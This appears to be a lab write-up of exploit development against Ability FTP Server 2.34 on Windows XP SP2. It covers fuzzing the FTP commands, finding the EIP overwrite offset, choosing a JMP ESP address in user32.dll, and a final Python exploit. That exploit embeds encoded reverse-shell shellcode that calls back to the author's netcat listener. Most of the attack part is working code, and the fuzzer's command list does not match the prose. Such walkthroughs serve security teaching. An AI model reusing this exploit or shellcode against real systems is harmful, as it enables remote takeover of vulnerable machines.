- Windows XP Professional Service Pack 2
- Backtrack 5 R3
- Ability FTP Server 2.34
- Immunity Debugger
Stage 1 – Fuzzing
Fuzzing is the process of the brute forcing an application to cause buffer overflow. I will test the application to see if i can identify a buffer overflow vulnerability in the application when the application receives one of three raw FTP commands along with a string. I will be testing the raw FTP commands; ‘MKD’, ‘CWD’ and ‘STOR’. I’ve written a python script which will connect to the FTP server and then send the application a buffer containing a command being tested and a string of A’s. This script will keep running until it reaches the total count of tries or crashes the application.
#!/usr/bin/python import socket # Create an array of buffers, from 0 to 2000, with increments of 100. buffer=["A"] counter=20 while len(buffer) <= 30: buffer.append("A"*counter) counter=counter+100 # Define the FTP commands to be fuzzed commands=["LIST, CWD"] # Run the fuzzing loop for command in commands: for string in buffer: print "Fuzzing " + command + " with length:" +str(len(string)) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('192.168.3.215',21)) # IP address of the victim is hardcoded s.recv(1024) s.send('USER anonymous\r\n') s.recv(1024) s.send('PASS anonymous\r\n') s.recv(1024) s.send(command + ' ' + string + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close()
The above screenshot shows the script running against the target machine. The script sent a buffer to target machine, this buffer contained the command ‘STOR’ along with a string of 940 A’s which crashed the application. From the output of this script I was able to fuzz the application to cause a buffer overflow vulnerability in the STOR command. A screenshot from the target machine is shown below to show that the application did crash.
Stage 2 – Replicating the Buffer Overflow & Building Final Exploit
In this stage I wrote another python script which would replicate the buffer overflow that was identified in the Stage 1. The purpose of the second python script is so I can build on it until it is a fully working exploit.
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer='\x41'*2000 print "\nSending evil buffer..." s.connect(('192.168.3.2',21)) # Hardcoded IP Address and port. data = s.recv(1023) s.send('USER ftp\r\n') # Hardcoded FTP username. data = s.recv(1024) s.send('PASS ftp\r\n') # Hardcoded FTP password. data = s.recv(1024) s.send('STOR ' + buffer + '\r\n') s.close()
I then restarted Ability FTP Server 2.34 and attached the process to the Immunity debugger program, this will allow me to view what is happening to the application when I run the python script against the application. I run the script once again crashing the application and then view the result of the crash in Immunity debugger.
From the information display of the crash in the debugger there is some very information. I can see that my buffer has overwritten several registers:
The EIP has been overwritten by my buffer, this register controls the flow of execution for the application.
The ESP also contains interesting information, I can see from the debugger that it is pointing to the rest of my buffer.
If I can control the EIP register I could instead of having the application crash on me have it execute code that I place at the point in memory that the ESP register is pointing to at the time of crash. To do this I will need to determine the point in my 2000 byte buffer that is overwriting the EIP register as well the point in my buffer that the ESP register is pointing to. This can be done by using two tools which are part of the current Metasploit Framework, the tools being pattern_create.rb and pattern_offset.rb ruby scripts. I will use the pattern_create.rb script to generate a new 2000 byte buffer, this is used to generate a unique 2000 byte buffer string.
After modifying the exisiting buffer by replacing it with the unique 2000 byte string and then ran the script again crashing the application. From the above screenshot of from the crash I can indentify the 4 bytes that overwrite the EIP register as well as the where in the buffer the ESP register is pointing to. The identify the exact position in the buffer the two registers are I use the second tool, pattern_create.rb script to find these postions.
Now that I know the positions in my buffer that corrospond to where the two registers point to I can now create a new buffer which will overwrite the EIP register and have the EIP point to the ESP register which is where I can place code which I want to be executed by the application. A way I can hijack the flow of execution of the application to execute the codes I would like is I could hardcode the memory address of where ESP points to at the time of crash into the buffer so the hardcoded memory address would overwrite the EIP and jump to the ESP location which is where I place code to be executed, though this is not optimal because that memory address could change if the application restarts or could be different on other machines.
The way I decided to hijack the EIP register is to use a RET address, specifically a JMP ESP command which will overwrite the EIP register in my buffer and instead of crashing the application it will jump to the position in memory the ESP register is pointing to. I will then place my code I wanted executed by the application at the poistion in my buffer which the ESP register will point to and the application will begin to execute the code. The JMP ESP should be taken from a system application as this will be the most reliable as these application memory address are only ever changed between different verisons of the Operating System, to identify a JMP ESP command I will use Immunity debugger to look at all the applications currently loaded into memory for a JMP ESP command.
From the screenshot above I have found a JMP ESP command in the user32.dll module. I will then modifiy my buffer so the JMP ESP command will overwrite EIP register.
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 77D8AF0A, JMP ESP, user32.dll, Windows XP Pro SP2 ENG buffer= '\x41'*966 + '\x0a\xaf\xd8\x77' + '\x42'*16 + '\x42'*1014 print "\nSending evil buffer..." s.connect(('192.168.3.2',21)) # Hardcoded IP Address and port. data = s.recv(1023) s.send('USER ftp\r\n') # Hardcoded FTP username. data = s.recv(1024) s.send('PASS ftp\r\n') # Hardcoded FTP password. data = s.recv(1024) s.send('STOR ' + buffer + '\r\n') s.close()
After the buffer has been modified I ran the exploit script against the target application again to determine if the JMP ESP command successfully hijacked the EIP register and hopped to the location in memory where I will place my code I want to be executed.
As the value stored within the EIP register matchs the location in memory that the ESP register is pointing, this means the JMP ESP command was successful in hijacking the application’s control of flow of execution. This means I can now include in my buffer that I send to the application my code that I want the application to execute. This is done by creating a payload and then converting the payload into shellcode for the application to execute. Before creating the shellcode I need to determine how much room in memory I have for my shellcode. I identified the amount of space for my shellcode by using Immunity debugger and clicking on the ESP register at the time of the crash which contains the rest of my buffer at the time of the crash and view the memory location in dump and scrolling down until the buffer runs out or is seperated by application code. I found in my instance I have about 960 bytes of space for my shellcode to go into memory.
I will use another two tools from the Metasploit Framework to create my shellcode, msfpayload and msfencode. The tool msfpayload will be used to generate the shellcode and the tool msfencode will be used to encode the shellcode to remove what are considered bad bytes which could potentially stop shellcode from being executed properly.
Once the shellcode was generated I inserted into the exploit script and modified the buffer to contain the shellcode, as well as modifying the buffer to include the shellcode I added 16 ‘\x90’s which is a no operation command this will act as padding for shellcode to be decoded in.
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode=("\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26\x90\xc4" "\xf8\x83\xeb\xfc\xe2\xf4\xda\xfa\x2f\xb5\xce\x69\x3b\x07\xd9\xf0" "\x4f\x94\x02\xb4\x4f\xbd\x1a\x1b\xb8\xfd\x5e\x91\x2b\x73\x69\x88" "\x4f\xa7\x06\x91\x2f\xb1\xad\xa4\x4f\xf9\xc8\xa1\x04\x61\x8a\x14" "\x04\x8c\x21\x51\x0e\xf5\x27\x52\x2f\x0c\x1d\xc4\xe0\xd0\x53\x75" "\x4f\xa7\x02\x91\x2f\x9e\xad\x9c\x8f\x73\x79\x8c\xc5\x13\x25\xbc" "\x4f\x71\x4a\xb4\xd8\x99\xe5\xa1\x1f\x9c\xad\xd3\xf4\x73\x66\x9c" "\x4f\x88\x3a\x3d\x4f\xb8\x2e\xce\xac\x76\x68\x9e\x28\xa8\xd9\x46" "\xa2\xab\x40\xf8\xf7\xca\x4e\xe7\xb7\xca\x79\xc4\x3b\x28\x4e\x5b" "\x29\x04\x1d\xc0\x3b\x2e\x79\x19\x21\x9e\xa7\x7d\xcc\xfa\x73\xfa" "\xc6\x07\xf6\xf8\x1d\xf1\xd3\x3d\x93\x07\xf0\xc3\x97\xab\x75\xd3" "\x97\xbb\x75\x6f\x14\x90\xe6\x38\xc7\x36\x40\xf8\xd5\xa4\x40\xc3" "\x4d\x19\xb3\xf8\x28\x01\x8c\xf0\x93\x07\xf0\xfa\xd4\xa9\x73\x6f" "\x14\x9e\x4c\xf4\xa2\x90\x45\xfd\xae\xa8\x7f\xb9\x08\x71\xc1\xfa" "\x80\x71\xc4\xa1\x04\x0b\x8c\x05\x4d\x05\xd8\xd2\xe9\x06\x64\xbc" "\x49\x82\x1e\x3b\x6f\x53\x4e\xe2\x3a\x4b\x30\x6f\xb1\xd0\xd9\x46" "\x9f\xaf\x74\xc1\x95\xa9\x4c\x91\x95\xa9\x73\xc1\x3b\x28\x4e\x3d" "\x1d\xfd\xe8\xc3\x3b\x2e\x4c\x6f\x3b\xcf\xd9\x40\xac\x1f\x5f\x56" "\xbd\x07\x53\x94\x3b\x2e\xd9\xe7\x38\x07\xf6\xf8\x34\x72\x22\xcf" "\x97\x07\xf0\x6f\x14\xf8") # 77D8AF0A, JMP ESP, user32.dll, Windows XP Pro SP2 ENG buffer= '\x41'*966 + '\x0a\xaf\xd8\x77' + '\x42'*16 + '\x90'*16 + shellcode + '\x42'*688 print "\nSending evil buffer..." s.connect(('192.168.3.2',21)) # Hardcoded IP Address and port. data = s.recv(1023) s.send('USER ftp\r\n') # Hardcoded FTP username. data = s.recv(1024) s.send('PASS ftp\r\n') # Hardcoded FTP password. data = s.recv(1024) s.send('STOR ' + buffer + '\r\n') s.close()
As the payload contained within the shellcode is a reverse bind shell, I enabled the networking tool netcat to listen for any incoming network connections on the port 4444 and then sent the final exploit script to the application hijacking the EIP register which jumps to the ESP register which is pointing the start of my shellcode and the application executes the shellcode successfully sending a reverse TCP bind shell from the remote machine back to my machine on port 4444 which is picked up by netcat allowing me to interact with the remote command shell from the target machine.
I now have successfully identified a buffer overflow vulnerability in the application Ability FTP Server 2.34 with the STOR command by fuzzing and then build a working exploit to attack the application through the identified vulnerability to gain remote code execution on the target machine and received a reverse bind shell connection.